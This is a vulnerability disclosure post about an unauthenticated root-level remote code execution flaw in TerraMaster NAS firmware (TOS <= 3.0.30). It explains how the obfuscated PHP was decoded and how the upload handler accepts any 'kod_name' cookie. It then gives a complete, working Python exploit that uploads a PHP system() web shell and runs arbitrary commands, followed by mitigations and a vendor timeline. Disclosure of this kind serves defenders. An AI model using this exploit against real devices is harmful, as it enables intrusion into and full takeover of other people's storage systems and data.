TerraMaster NAS TOS <= 3.0.30 Unauthenticated RCE as Root


Recently I bought a TerraMaster F2-420 NAS from Amazon in order to store my private code, backups and this kind of stuff. As soon as it arrived I started to play with its web interface and eventually I wanted to see how it was implemented, moreover I was curious to see if I could find any remotely exploitable vulnerability.

As you can see … I succeeded :)

nas

Once connected to the NAS through SSH, I realized the whole interface was a PHP application stored on /usr/www/, but unfortunately the source code was obfuscated:

obfuscated

Printing PHP compilation options and modules revealed what kind of obfuscation was going on, php_screw:

configure

Lucky me, there’s the php_unscrew tool written by Osama Khalid, I only had to follow the instructions on the repository in order to extract the key and header length from the encrypted files on the NAS, which happened to be d311ea00d301b80c3f00 and 13.

bingo

At this stage, I could read any PHP file running on the NAS, until I found what I’ve been looking for, /usr/www/include/upload.php which, as you guessed, handles file uploads to the NAS … and here’s all the authentication involved:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
...
...
...
$targetDir = $_REQUEST['targetDir'];
$file_path = @realpath($targetDir);
if(strstr($file_path, "/mnt/base/update") === false){
if(!$_COOKIE['kod_name']){
die('{"jsonrpc" : "2.0", "error" : {"code": 104, "message": "You are not login!"}, "id" : "id"}');
}
}
...
...
...

TL;DR; As long as you set the kod_name cookie to any value, the system considers you as authenticated and lets you upload any file to any location on the file system … oh, did I mention that the web server is running as root?

facepalm

I contacted the vendor on May 11 and initially they seemed to care assuring me an update would have been released in a couple of days … 19 days ellapsed, still no fixes and they’re ignoring my emails now, so I decided to go full disclosure.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python
# coding: utf8
#
# Exploit: Unauthenticated RCE as root.
# Vendor: TerraMaster
# Product: TOS <= 3.0.30 (running on every NAS)
# Author: Simone 'evilsocket' Margaritelli <[email protected]>
import sys
import requests

def upload( address, port, filename, path = '/usr/www/' ):
url = "http://%s:%d/include/upload.php?targetDir=%s" % ( address, port, path )
try:
files = { 'file': open( filename, 'rb' ) }
cookies = { 'kod_name': '1' } # LOL :D
r = requests.post(url, files=files, cookies=cookies)

if r.text != '{"jsonrpc" : "2.0", "result" : null, "id" : "id"}':
print "! Unexpected response, exploit might not work:\n%s\n" % r.text

return True

except Exception as e:
print "\n! ERROR: %s" % e

return False

def rce( address, port, command ):
with open( '/tmp/p.php', 'w+t' ) as fp:
fp.write( "<?php system('%s'); ?>" % command )

if upload( address, port, '/tmp/p.php' ) == True:
try:
url = "http://%s:%d/p.php" % ( address, port )
return requests.get(url).text
except Exception as e:
print "\n! ERROR: %s" % e

return None


if len(sys.argv) < 3:
print "Usage: exploit.py <ip|hostname> <command> (port=8181)\n"
quit()

target = sys.argv[1]
command = sys.argv[2]
port = 8181 if len(sys.argv) < 4 else int(sys.argv[3])

out = rce( target, port, command )
if out is not None:
print out.strip()

Mitigations

  • Use a firewall to disable access to port 8181 of the NAS from untrusted users.
  • If possible (NAS only used via SMB/NFS/SSH) completely delete the web ui.
  • Hope for the vendor to quickly release a fix.
  • Alternatively, buy another and more secure NAS :)

Timeline

  • 11 May 2017: Initial report to TerraMaster.
  • 12 May 2017: TM acknowledged the issue and promised a fix within a couple of days.
  • 16 May 2017: Follow up, still no fix.
  • 25 May 2017: Follow up, still no fix.
  • 29 May 2017: Follow up, still no fix and no answers neither.
  • 30 May 2017: Disclosure.
Become a Patron!